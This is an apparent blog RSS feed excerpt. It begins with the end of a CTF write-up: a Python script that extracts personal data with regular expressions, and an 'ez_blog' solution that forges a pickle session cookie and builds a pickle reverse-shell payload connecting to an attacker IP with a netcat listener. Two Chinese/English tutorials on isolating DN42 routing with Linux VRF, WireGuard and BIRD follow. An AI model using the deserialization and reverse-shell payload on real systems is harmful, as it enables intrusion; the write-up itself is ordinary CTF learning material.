phone_body = r&apos;(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})&apos;
phone_pattern = rf&apos;(?P&amp;lt;phone&amp;gt;(?&amp;lt;!\d)(?:{phone_prefix})?{phone_body}(?!\d))&apos;

# 将所有模式编译成一个大的正则表达式
combined_re = re.compile(
    f&apos;{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}&apos;,
    flags=re.UNICODE | re.IGNORECASE
)

# ------------------- 主逻辑 -------------------

def extract_from_text(text: str):
    &quot;&quot;&quot;
    使用单一的、组合的正则表达式从文本中查找所有候选者，并逐一校验。
    &quot;&quot;&quot;
    results = []
    
    for match in combined_re.finditer(text):
        kind = match.lastgroup
        value = match.group(kind)
        
        if kind == &apos;mac&apos;:
            if is_valid_mac(value):
                if DEBUG: print(f&quot;【接受 mac】: {value}&quot;)
                results.append((&apos;mac&apos;, value))
            elif DEBUG: print(f&quot;【拒绝 mac】: {value}&quot;)
        
        elif kind == &apos;ip&apos;:
            if is_valid_ip(value):
                if DEBUG: print(f&quot;【接受 ip】: {value}&quot;)
                results.append((&apos;ip&apos;, value))
            elif DEBUG: print(f&quot;【拒绝 ip】: {value}&quot;)

        elif kind == &apos;id&apos;:
            is_valid, reason = is_valid_id(value)
            if is_valid:
                if DEBUG: print(f&quot;【接受 idcard】: {value}&quot;)
                results.append((&apos;idcard&apos;, value))
            else:
                # 降级处理：如果作为身份证校验失败，则尝试作为银行卡校验
                digits_only = re.sub(r&apos;\D&apos;, &apos;&apos;, value)
                if is_valid_bankcard(digits_only):
                    if DEBUG: print(f&quot;【接受 id-&amp;gt;bankcard】: {value}&quot;)
                    # 规范要求保留原始格式
                    results.append((&apos;bankcard&apos;, value))
                elif DEBUG: print(f&quot;【拒绝 id】: {value} (原因: {reason})&quot;)

        elif kind == &apos;bankcard&apos;:
            if is_valid_bankcard(value):
                if DEBUG: print(f&quot;【接受 bankcard】: {value}&quot;)
                results.append((&apos;bankcard&apos;, value))
            elif DEBUG: print(f&quot;【拒绝 bankcard】: {value}&quot;)
        
        elif kind == &apos;phone&apos;:
            if is_valid_phone(value):
                if DEBUG: print(f&quot;【接受 phone】: {value}&quot;)
                results.append((&apos;phone&apos;, value))
            elif DEBUG: print(f&quot;【拒绝 phone】: {value}&quot;)
                
    return results

def main():
    &quot;&quot;&quot;主函数：读取文件，执行提取，写入CSV。&quot;&quot;&quot;
    try:
        with open(INPUT_FILE, &quot;r&quot;, encoding=&quot;utf-8&quot;, errors=&quot;ignore&quot;) as f:
            text = f.read()
    except FileNotFoundError:
        print(f&quot;错误: 输入文件 &apos;{INPUT_FILE}&apos; 未找到。请确保该文件存在于脚本运行目录下。&quot;)
        # 创建一个空的data.txt以确保脚本可以运行
        with open(INPUT_FILE, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f:
            f.write(&quot;&quot;)
        print(f&quot;已自动创建空的 &apos;{INPUT_FILE}&apos;。请向其中填充需要分析的数据。&quot;)
        text = &quot;&quot;

    extracted_data = extract_from_text(text)

    with open(OUTPUT_FILE, &quot;w&quot;, newline=&quot;&quot;, encoding=&quot;utf-8&quot;) as csvfile:
        writer = csv.writer(csvfile)
        writer.writerow([&quot;category&quot;, &quot;value&quot;])
        writer.writerows(extracted_data)
    
    print(f&quot;分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 &apos;{OUTPUT_FILE}&apos;。&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Execution produces &lt;code&gt;export.csv&lt;/code&gt;. Uploading this with accuracy &amp;gt;=98% yields the Flag: &lt;code&gt;DASCTF{34164200333121342836358909307523}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;ez_blog&lt;/h1&gt;
&lt;p&gt;Opening the webpage revealed a login requirement. Following hints, we successfully logged in as a guest using username &lt;code&gt;guest&lt;/code&gt; and password &lt;code&gt;guest&lt;/code&gt;. We observed a Cookie containing &lt;code&gt;Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e&lt;/code&gt;. AI analysis revealed this was pickle serialization converted to hex. Decoding showed: &lt;code&gt;KappUser)}(idusernameguesis_admin logged_inub.&lt;/code&gt;. We modified the content to change &lt;code&gt;username&lt;/code&gt; to &lt;code&gt;admin&lt;/code&gt; and &lt;code&gt;is_admin&lt;/code&gt; to &lt;code&gt;True&lt;/code&gt;, resulting in: &lt;code&gt;8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e&lt;/code&gt;. Modifying the request Cookies via BurpSuite successfully granted admin privileges (with article creation rights):&lt;br /&gt;
&lt;img src=&quot;./images/2025/10/1668532768.png&quot; alt=&quot;ez_blog-1.png&quot; /&gt;
This indicated the server deserializes the Token, allowing exploitation of deserialization vulnerabilities. With no echo, we opted for a reverse shell. We crafted the Payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import pickle
import time
import binascii
import os

class Exploit:
    def __reduce__(self):
        return (os.system, (&apos;&apos;&apos;python3 -c &quot;import os
import socket
import subprocess
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((&apos;&amp;lt;Your IP&amp;gt;&apos;, 2333))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call([&apos;/bin/sh&apos;, &apos;-i&apos;])&quot;&apos;&apos;&apos;,))

payload = pickle.dumps(Exploit())
hex_token = binascii.hexlify(payload).decode()
print(hex_token)
print(payload)

obj = pickle.loads(payload)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Execution produced the Payload: &lt;code&gt;80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e&lt;/code&gt;. After running &lt;code&gt;nc -lvvp 2333&lt;/code&gt; on our server and sending the Payload as the Token, we successfully obtained a shell. The Flag was located in &lt;code&gt;/thisisthefffflllaaaggg.txt&lt;/code&gt;:
&lt;img src=&quot;./images/2025/10/3266918796.png&quot; alt=&quot;ez_blog-2.png&quot; /&gt;
Flag: &lt;code&gt;DASCTF{15485426979172729258466667411440}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>DN42&amp;OneManISP - 使用VRF实现公网BGP和DN42共用一台机器</title><link>https://blog.iyoroy.cn/posts/182/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/182/</guid><description>尝试用 VRF 在同一台 VPS 上隔离 DN42 与公网路由，记录接口、WireGuard 和 BIRD 配置，以及访问宿主机服务时遇到的限制。</description><pubDate>Tue, 16 Sep 2025 14:47:00 GMT</pubDate><content:encoded>&lt;h1&gt;背景&lt;/h1&gt;
&lt;p&gt;目前同一区域内公网BGP和DN42分别用了一台VPS，也就是说同一个区域需要两台机器。从群友那里得知了VRF，便想着通过VRF实现同一台机器同时处理公网BGP并加入DN42。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：VRF方案因为其隔离性，会导致DN42无法访问主机的服务。如果你需要在服务器上跑诸如DNS之类的服务给DN42用，你可能需要再单独配置端口转发或者veth，但是不在本文讨论范围内。（这也是我实际生产环境最终还是没有采用VRF的原因）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;VRF的优点&lt;/h1&gt;
&lt;p&gt;虽然说DN42使用的IP段是私有地址，并且它的ASN用的都是内部ASN，理论上不会和公网BGP相互干扰，但是如果共用同一张路由表，可能会造成路由污染、管理复杂等问题。&lt;/p&gt;
&lt;p&gt;VRF（Virtual Routing and Forwarding，虚拟路由转发）可以实现在一台机器上创建多个路由表，也就是说我们可以通过它将DN42的路由单独放到一个路由表里，以实现将DN42路由表和公网路由表相隔离。这么做的优点有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;路由与策略隔离&lt;/strong&gt;：将 DN42 和公网路由放入不同路由表，减少意外混用的机会。是否会发生路由泄漏仍取决于 BIRD 的导入导出过滤器及跨表配置，VRF 本身不能保证绝对安全。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;清晰的运维管理&lt;/strong&gt;：可以使用&lt;code&gt;birdc show route table t_dn42&lt;/code&gt;和&lt;code&gt;birdc show route table t_inet&lt;/code&gt;来分别查看和调试两张完全独立的路由表，一目了然。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;减少路由变化的相互影响&lt;/strong&gt;：DN42 对等体抖动时，相关变化可以留在对应的路由表中。但两套路由仍共享主机的 CPU、内存和网卡资源，不能据此认为它们在性能和故障上完全隔离。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;更符合现代网络设计理念&lt;/strong&gt;：在现代网络工程中，为不同的路由域（生产、测试、客户、合作伙伴）使用VRF是标准做法。它将你的设备逻辑上划分成了多个虚拟路由器。&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;配置&lt;/h1&gt;
&lt;h2&gt;系统部分&lt;/h2&gt;
&lt;h3&gt;创建VRF设备&lt;/h3&gt;
&lt;p&gt;使用以下指令创建一个名为&lt;code&gt;dn42-vrf&lt;/code&gt;的VRF设备并关联到系统的&lt;code&gt;1042&lt;/code&gt;号路由表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip link add dn42-vrf type vrf table 1042
ip link set dev dn42-vrf up # 启用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;路由表号可以按照你自己的喜好修改，但是请避开以下几个保留路由表编号：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;unspec&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;未指定，基本不用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;main&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;254&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;主路由表&lt;/strong&gt;，大多数普通路由都放在这里&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;default&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;253&lt;/td&gt;
&lt;td&gt;一般不用，保留&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;local&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;255&lt;/td&gt;
&lt;td&gt;本机路由表，存放&lt;code&gt;127.0.0.1/8&lt;/code&gt;、本机 IP、广播地址等，不能改&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;将现有的相应网卡关联到VRF&lt;/h3&gt;
&lt;p&gt;按照我目前的DN42网络为例，有若干WireGuard网卡和一个dummy网卡是用于DN42的，因此将这几个网卡都关联到VRF中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip link set dev &amp;lt;网卡名&amp;gt; master dn42-vrf 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要注意的是，网卡关联到VRF之后可能会丢失地址，因此需要重新为其添加一次地址，如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip addr add 172.20.234.225 dev dn42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完成之后，通过&lt;code&gt;ip a&lt;/code&gt;应该能看到对应网卡的master是dn42-vrf：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;156: dn42: &amp;lt;BROADCAST,NOARP,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue master dn42-vrf state UNKNOWN group default qlen 1000
    link/ether b6:f5:28:ed:23:04 brd ff:ff:ff:ff:ff:ff
    inet 172.20.234.225/32 scope global dn42
       valid_lft forever preferred_lft forever
    inet6 fd18:3e15:61d0::1/128 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::b4f5:28ff:feed:2304/64 scope link 
       valid_lft forever preferred_lft forever
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;持久化&lt;/h3&gt;
&lt;p&gt;我使用了ifupdown2来实现开机自动加载dummy网卡和VRF设备。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auto dn42-vrf
iface dn42-vrf inet manual
    vrf-table 1042

auto dn42
iface dn42 inet static
    pre-up ip link add $IFACE type dummy || true
    vrf dn42-vrf
    address &amp;lt;IPv4 Address&amp;gt;/32
    address &amp;lt;IPv6 Address&amp;gt;/128
    post-down ip link del $IFACE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我的dummy网卡名称为&lt;code&gt;dn42&lt;/code&gt;，如果你的名称不一样请按需要修改。创建完后使用&lt;code&gt;ifup dn42-vrf &amp;amp;&amp;amp; ifup dn42&lt;/code&gt;即可启动dummy网卡和VRF。&lt;/p&gt;
&lt;h2&gt;WireGuard隧道&lt;/h2&gt;
&lt;p&gt;添加PostUp使其关联到vrf并重新为其绑定地址。举个例子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Interface]
PrivateKey = [数据删除]
ListenPort = [数据删除]
Table = off
Address = fe80::2024/64
+ PostUp = ip link set dev %i master dn42-vrf
+ PostUp = ip addr add fe80::2024/64 dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = [数据删除]
Endpoint = [数据删除]
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后重新启动隧道即可。&lt;/p&gt;
&lt;h2&gt;Bird2部分&lt;/h2&gt;
&lt;p&gt;首先我们需要定义两张路由表，分别用于dn42的IPv4和IPv6：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ipv4 table dn42_table_v4;
ipv6 table dn42_table_v6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随后，在kernel protocol中指定VRF和系统路由表编号，并在IPv4、IPv6中指定前面创建的v4、v6路由表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol kernel dn42_kernel_v6{
+   vrf &quot;dn42-vrf&quot;;
+   kernel table 1042;
    scan time 20;

    ipv6 {
+       table dn42_table_v6;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = DN42_OWNIPv6;
            accept;
        };
    };
};

protocol kernel dn42_kernel_v4{
+   vrf &quot;dn42-vrf&quot;;
+   kernel table 1042;
    scan time 20;

    ipv4 {
+       table dn42_table_v4;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = DN42_OWNIP;
            accept;
        };
    };
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除了kernel以外的protocol都加上VRF和IPv4、IPv6独立的table，但不需要指定系统路由表编号：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol static dn42_static_v4{
+   vrf &quot;dn42-vrf&quot;;
    route DN42_OWNNET reject;

    ipv4 {
+       table dn42_table_v4;
        import all;
        export none;
    };
}

protocol static dn42_static_v6{
+   vrf &quot;dn42-vrf&quot;;
    route DN42_OWNNETv6 reject;

    ipv6 {
+       table dn42_table_v6;
        import all;
        export none;
    };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总而言之就是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一切和DN42有关的都给配置一个VRF和之前定义的路由表&lt;/li&gt;
&lt;li&gt;只有kernel协议需要指定系统路由表编号，其他不需要&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;对于BGP、OSPF等也如法炮制，不过我选择将公网的RouterID和DN42的分开，因此还需要单独配置一个RouterID：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/bird/dn42/ospf.conf
protocol ospf v3 dn42_ospf_iyoroynet_v4 {
+   vrf &quot;dn42-vrf&quot;;
+   router id DN42_OWNIP;
    ipv4 {
+       table dn42_table_v4;
        import where is_self_dn42_net() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_dn42_net() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};

protocol ospf v3 dn42_ospf_iyoroynet_v6 {
+   vrf &quot;dn42-vrf&quot;;
+   router id DN42_OWNIP;
    ipv6 {
+       table dn42_table_v6;
        import where is_self_dn42_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_dn42_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# /etc/bird/dn42/ebgp.conf
...
template bgp dnpeers {
+   vrf &quot;dn42-vrf&quot;;
+   router id DN42_OWNIP;
    local as DN42_OWNAS;
    path metric 1;

    ipv4 {
+       table dn42_table_v4;
        ...
    };

    ipv6 {
+       table dn42_table_v6;
        ...
    };
}

include &quot;peers/*&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;完成后&lt;code&gt;birdc c&lt;/code&gt;重载配置即可。&lt;br /&gt;
这时，我们可以通过&lt;code&gt;ip route show vrf dn42-vrf&lt;/code&gt;来单独查看DN42的路由表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@iYoRoyNetworkHKGBGP:~# ip route show vrf dn42-vrf
10.26.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
10.29.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
10.37.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以在Ping的时候通过参数&lt;code&gt;-I dn42-vrf&lt;/code&gt;来实现通过VRF Ping：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@iYoRoyNetworkHKGBGP:~# ping 172.20.0.53 -I dn42-vrf
ping: Warning: source address might be selected on device other than: dn42-vrf
PING 172.20.0.53 (172.20.0.53) from 172.20.234.225 dn42-vrf: 56(84) bytes of data.
64 bytes from 172.20.0.53: icmp_seq=1 ttl=64 time=3.18 ms
64 bytes from 172.20.0.53: icmp_seq=2 ttl=64 time=3.57 ms
64 bytes from 172.20.0.53: icmp_seq=3 ttl=64 time=3.74 ms
64 bytes from 172.20.0.53: icmp_seq=4 ttl=64 time=2.86 ms
^C
--- 172.20.0.53 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 2.863/3.337/3.740/0.341 ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;注意事项&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;如果vrf设备重载了，所有原先和vrf相关联的设备都需要重载一次，否则无法正常工作&lt;/li&gt;
&lt;li&gt;目前DN42是无法访问到配置了VRF的主机内的服务的，后续可能出一篇文章讲一下如何去让VRF内的流量可以访问到主机服务（挖坑ing）&lt;/li&gt;
&lt;li&gt;从朋友那里了解到，可以通过设置&lt;code&gt;net.ipv4.tcp_l3mdev_accept=1&lt;/code&gt;和&lt;code&gt;net.ipv4.udp_l3mdev_accept=1&lt;/code&gt;来允许全局空间的监听套接字接受来自VRF域的连接请求，实现跨vrf监听服务。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sherpherd.net/2024/02/11/RunYourMPLSNetworkWithBIRD_zh-cn.html&quot;&gt;用 BIRD 运行你的 MPLS 网络&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>DN42&amp;OneManISP - Using VRF to Run Clearnet BGP and DN42 on the Same Machine</title><link>https://blog.iyoroy.cn/posts/en-182/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-182/</guid><description>Trying VRF to separate DN42 and clearnet routing on one VPS, with interface, WireGuard, and BIRD configuration and notes on access to services on the host.</description><pubDate>Tue, 16 Sep 2025 14:47:00 GMT</pubDate><content:encoded>&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;Currently, clearnet BGP and DN42 each use a separate VPS in the same region, meaning two machines are required per region. After learning about VRF from a group member, I explored using VRF to enable a single machine to handle both clearnet BGP and DN42 simultaneously.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: Due to its isolation nature, the VRF solution will prevent DN42 from accessing services on the host. If you need to run services (like DNS) on the server for DN42, you might need additional port forwarding or veth configuration, which is beyond the scope of this article. (This is also the reason why I ultimately did not adopt VRF in my production environment).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Advantages of VRF&lt;/h1&gt;
&lt;p&gt;Although DN42 uses private IP ranges and internal ASNs, which theoretically shouldn&apos;t interfere with clearnet BGP, sharing the same routing table can lead to issues like route pollution and management complexity.&lt;/p&gt;
&lt;p&gt;VRF (Virtual Routing and Forwarding) allows creating multiple routing tables on a single machine. This means we can isolate DN42 routes into a separate routing table, keeping them apart from the clearnet routing table. The advantages include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Route and Policy Isolation&lt;/strong&gt;: Separate tables reduce the chance of mixing DN42 and clearnet routes. Route leaks still depend on BIRD&apos;s import/export filters and any cross-table configuration; VRF alone cannot guarantee security.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear Operation and Management&lt;/strong&gt;: Use commands like &lt;code&gt;birdc show route table t_dn42&lt;/code&gt; and &lt;code&gt;birdc show route table t_inet&lt;/code&gt; to view and debug two completely independent routing tables, making things clear at a glance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reduced Interaction Between Routing Domains&lt;/strong&gt;: Changes caused by a flapping DN42 peer can remain in its routing table, but both domains still share the host&apos;s CPU, memory, and interfaces. Their performance and failures are not fully isolated.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alignment with Modern Network Design Principles&lt;/strong&gt;: Using VRF for different routing domains (production, testing, customer, partner) is standard practice in modern network engineering. It logically divides your device into multiple virtual routers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Configuration&lt;/h1&gt;
&lt;h2&gt;System Part&lt;/h2&gt;
&lt;h3&gt;Creating the VRF Interface&lt;/h3&gt;
&lt;p&gt;Use the following commands to create a VRF device named &lt;code&gt;dn42-vrf&lt;/code&gt; and associate it with the system&apos;s routing table number &lt;code&gt;1042&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip link add dn42-vrf type vrf table 1042
ip link set dev dn42-vrf up # Enable it
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can change the routing table number according to your preference, but avoid the following reserved routing table IDs:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;unspec&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;Unspecified, rarely used&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;main&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;254&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Main routing table&lt;/strong&gt;, where most ordinary routes reside&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;default&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;253&lt;/td&gt;
&lt;td&gt;Generally unused, reserved&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;local&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;255&lt;/td&gt;
&lt;td&gt;Local routing table, contains &lt;code&gt;127.0.0.1/8&lt;/code&gt;, local IPs, broadcast addresses, etc. Cannot be modified&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Associating Existing Network Interfaces with VRF&lt;/h3&gt;
&lt;p&gt;In my current DN42 setup, several WireGuard interfaces and a dummy interface are used for DN42. Therefore, associate these interfaces with the VRF:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip link set dev &amp;lt;interface_name&amp;gt; master dn42-vrf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note: After associating an interface with a VRF, it might lose its IP addresses. Therefore, you need to readd the addresses, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip addr add 172.20.234.225 dev dn42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After completion, ip a should show the corresponding interface&apos;s master as dn42-vrf:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;156: dn42: &amp;lt;BROADCAST,NOARP,UP,LOWER_UP&amp;gt; mtu 1500 qdisc noqueue master dn42-vrf state UNKNOWN group default qlen 1000
    link/ether b6:f5:28:ed:23:04 brd ff:ff:ff:ff:ff:ff
    inet 172.20.234.225/32 scope global dn42
       valid_lft forever preferred_lft forever
    inet6 fd18:3e15:61d0::1/128 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::b4f5:28ff:feed:2304/64 scope link 
       valid_lft forever preferred_lft forever
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Persistence&lt;/h3&gt;
&lt;p&gt;I use ifupdown2 to automatically load the dummy interface and VRF device on boot.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auto dn42-vrf
iface dn42-vrf inet manual
    vrf-table 1042

auto dn42
iface dn42 inet static
    pre-up ip link add $IFACE type dummy || true
    vrf dn42-vrf
    address &amp;lt;IPv4 Address&amp;gt;/32
    address &amp;lt;IPv6 Address&amp;gt;/128
    post-down ip link del $IFACE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My dummy interface is named &lt;code&gt;dn42&lt;/code&gt;; modify accordingly if yours is different. After creation, use &lt;code&gt;ifup dn42-vrf &amp;amp;&amp;amp; ifup dn42&lt;/code&gt; to start the dummy interface.&lt;/p&gt;
&lt;p&gt;Note: The number prefix for the VRF device file should be smaller than that of the dummy interface file, ensuring the VRF device starts first.&lt;/p&gt;
&lt;h2&gt;WireGuard Tunnels&lt;/h2&gt;
&lt;p&gt;Add PostUp commands to associate them with the VRF and readd their addresses. Example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Interface]
PrivateKey = [Data Redacted]
ListenPort = [Data Redacted]
Table = off
Address = fe80::2024/64
+ PostUp = ip link set dev %i master dn42-vrf
+ PostUp = ip addr add fe80::2024/64 dev %i
PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0

[Peer]
PublicKey = [Data Redacted]
Endpoint = [Data Redacted]
AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then restart the tunnel.&lt;/p&gt;
&lt;h2&gt;Bird2 Part&lt;/h2&gt;
&lt;p&gt;First, define two routing tables for DN42&apos;s IPv4 and IPv6:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ipv4 table dn42_table_v4;
ipv6 table dn42_table_v6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, specify the VRF and system routing table number in the kernel protocol, and specify the previously created v4/v6 routing tables in the IPv4/IPv6 sections:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol kernel dn42_kernel_v6{
+   vrf &quot;dn42-vrf&quot;;
+   kernel table 1042;
    scan time 20;

    ipv6 {
+       table dn42_table_v6;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = DN42_OWNIPv6;
            accept;
        };
    };
};

protocol kernel dn42_kernel_v4{
+   vrf &quot;dn42-vrf&quot;;
+   kernel table 1042;
    scan time 20;

    ipv4 {
+       table dn42_table_v4;
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = DN42_OWNIP;
            accept;
        };
    };
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For protocols other than kernel, add the VRF and the independent IPv4/IPv6 tables, but do not specify the system routing table number:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protocol static dn42_static_v4{
+   vrf &quot;dn42-vrf&quot;;
    route DN42_OWNNET reject;

    ipv4 {
+       table dn42_table_v4;
        import all;
        export none;
    };
}

protocol static dn42_static_v6{
+   vrf &quot;dn42-vrf&quot;;
    route DN42_OWNNETv6 reject;

    ipv6 {
+       table dn42_table_v6;
        import all;
        export none;
    };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In summary:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Configure a VRF and the previously defined routing tables for everything related to DN42.&lt;/li&gt;
&lt;li&gt;Only the kernel protocol needs the system routing table number specified; others do not.&lt;/li&gt;
&lt;/ul&gt;
